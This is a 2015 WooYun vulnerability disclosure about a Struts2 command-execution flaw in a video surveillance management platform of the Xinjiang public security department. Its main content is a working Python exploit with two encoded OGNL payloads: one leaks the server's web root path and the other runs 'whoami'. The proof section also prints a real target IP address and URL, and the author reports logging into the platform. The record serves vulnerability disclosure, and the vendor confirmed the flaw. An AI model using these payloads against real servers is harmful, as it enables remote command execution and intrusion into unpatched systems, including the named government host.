当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123965

漏洞标题:新疆公安厅某视频监控管理平台structs2漏洞

相关厂商:新疆公安厅

漏洞作者: PyNerd

提交时间:2015-07-02 12:24

修复时间:2015-08-20 08:54

公开时间:2015-08-20 08:54

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(公安部一所)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-02: 细节已通知厂商并且等待厂商处理中
2015-07-06: 厂商已经确认,细节仅向厂商公开
2015-07-16: 细节向核心白帽子及相关领域专家公开
2015-07-26: 细节向普通白帽子公开
2015-08-05: 细节向实习白帽子公开
2015-08-20: 细节向公众公开

简要描述:

老问题。。。

详细说明:

mask 区域
1.http://**.**.**/pureportal/homepage/gotoHomepage.action


还是老问题,用python跑一下验证。

s2.png


登录平台看看

s1.png


#coding=utf-8
import requests
import sys
s = requests.Session()
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
'Origin': 'http://www.baidu.com',
'Referer': 'http://www.baidu.com',
'Host': 'www.baidu.com'
}
url = sys.argv[1]
payload1 = "?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D"
payload2 = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
r1= s.get(url + payload1, headers=headers)
r2= s.get(url + payload2, headers=headers)
print "[+]Current Path: %s[+]Current User: %s" % (r1.content, r2.content)

漏洞证明:

http://221.238.32.182:8080/pureportal/homepage/gotoHomepage.action
还是老问题,用python跑一下验证。

s2.png


登录平台看看

s1.png


修复方案:

升级。。。

版权声明:转载请注明来源 PyNerd@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-07-06 08:53

厂商回复:

感谢提交!!
验证确认所描述的问题,已通知其修复。

最新状态:

暂无